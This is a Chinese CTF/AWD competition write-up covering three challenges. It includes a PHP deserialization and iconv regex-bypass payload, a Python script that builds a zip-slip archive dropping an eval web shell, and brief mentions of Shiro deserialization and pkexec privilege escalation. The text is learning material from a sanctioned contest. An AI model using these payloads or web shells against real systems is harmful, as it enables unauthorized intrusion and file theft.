第一次参加线下赛,拿了三等奖,有一题还是挺可惜的,拿到shell了,但没时间找flag,明年继续加油吧。
MediaDrive
FIX
扫描发现可能有三个漏洞,文件读取,文件上传等,我一开始上了些waf没过,第二次直接上通防就修复成功了。

dr0op/k4l0ng_WAF: A broute detect WAF by PHP using to AWD
BREAK
从源码中可以看到,user的信息是cookie反序列化得到的
php
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
这里主要关注preview.php
rawPath和f两个参数都是用户可控的,拼接后进行正则匹配,匹配后通过iconv函数进行编码的转换


可以看到iconv("UTF-8", "ISO-8859-1//IGNORE", $text)
如果你添加了字符串 //IGNORE,不能以目标字符集表达的字符将被默默丢弃。
€在UTF-8与ISO-8859-1的转换中会被丢弃
php
# preview.php
$rawPath = $user->basePath . $f;
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}
$content = @file_get_contents($convertedPath);
攻击思路:
将编码偏好改为ISO-2022-CN-EXT,并将basePath改为根目录/,把f变为f€lag
php
$serilized = "O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A15%3A%22ISO-2022-CN-EXT%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D"
class __PHP_Incomplete_Class#1 (4) {
public $__PHP_Incomplete_Class_Name =>
string(4) "User"
public $name =>
string(5) "guest"
public $encoding =>
string(15) "ISO-2022-CN-EXT"
public $basePath =>
string(1) "/"
}
由于是先检测后编码转换,f€lag会绕过正则,编码转换后又变回flag,成功绕过

EASY_TIME
BREAK
从dockerfile中可以发现起了两个服务,5000端口是对外的pyhton,80是内部的php服务
dockerfile
FROM php:8.2.6-apache
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1
RUN docker-php-ext-configure opcache --enable-opcache \
&& docker-php-ext-install opcache \
&& sed -i 's|http://deb.debian.org|https://deb.debian.org|g' /etc/apt/sources.list \
&& sed -i 's|http://security.debian.org|https://security.debian.org|g' /etc/apt/sources.list \
&& apt-get update -o Acquire::Retries=5 \
&& apt-get install -y --no-install-recommends supervisor python3 python3-venv python3-distutils python3-pip \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN pip3 install --no-cache-dir flask werkzeug
RUN mkdir -p /app/uploads /app/plugins /app/static/uploads/avatars
COPY . /app
COPY html/ /var/www/html/
COPY php.ini-development /usr/local/etc/php/php.ini
RUN rm -rf /app/html /app/Dockerfile /app/docker-compose.yaml /app/docker-compose.yml /app/php.ini*
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
EXPOSE 80 5000
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
yaml
ports:
- "5000:5000"
expose:
- "80"
爆破得出密码是secret,成功登录
python
if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
resp = flask.make_response(flask.redirect(next_url))
resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
resp.set_cookie('user', username, httponly=True, samesite='Lax')
return resp
个人头像中存在SSRF

python
def fetch_remote_avatar_info(url: str):
if not url:
return None
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None
req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
try:
with urllib.request.urlopen(req, timeout=3) as resp:
content = resp.read()
return {
"content_snippet": content,
"status": getattr(resp, "status", None),
"content_type": resp.headers.get("Content-Type", ""),
"content_length": resp.headers.get("Content-Length", ""),
}
except Exception:
return None
上传插件的函数没对压缩包中的文件名进行过滤,直接拼接,存在路径遍历漏洞
python
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename)
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))
现在的攻击链就很清晰了,构造恶意压缩包写🐎,然后通过SSRF来读flag
python
import zipfile
import io
def create_payload_zip():
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zip_entry_name = "../../../var/www/html/shell.php"
php_content = b"""
<?php
@eval($_GET[1]);
?>
"""
zf.writestr(zip_entry_name, php_content)
with open("payload.zip", "wb") as f:
f.write(zip_buffer.getvalue())
print(f"[*] Target Path: {zip_entry_name}")
if __name__ == "__main__":
create_payload_zip()
用find命令找flag,这里的空格要url编码一次

FIX
思路是禁止加载远程头像的功能和检测压缩包内文件的文件名,但试了几次都没成功,很想知道check脚本是怎么写的。
ISW
靶机三
flag1
发现是java的服务,并且返回包中有rememberMe,猜测可能有shiro反序列化,直接用工具一把梭,读到根目录的flag。
flag2
建立立足点,上传jsp🐎连上蚁剑,我知道的提权方式都试过了,都没成功,赛后才知道是pkexec提权(渗透打的还是太少了)。下面是poc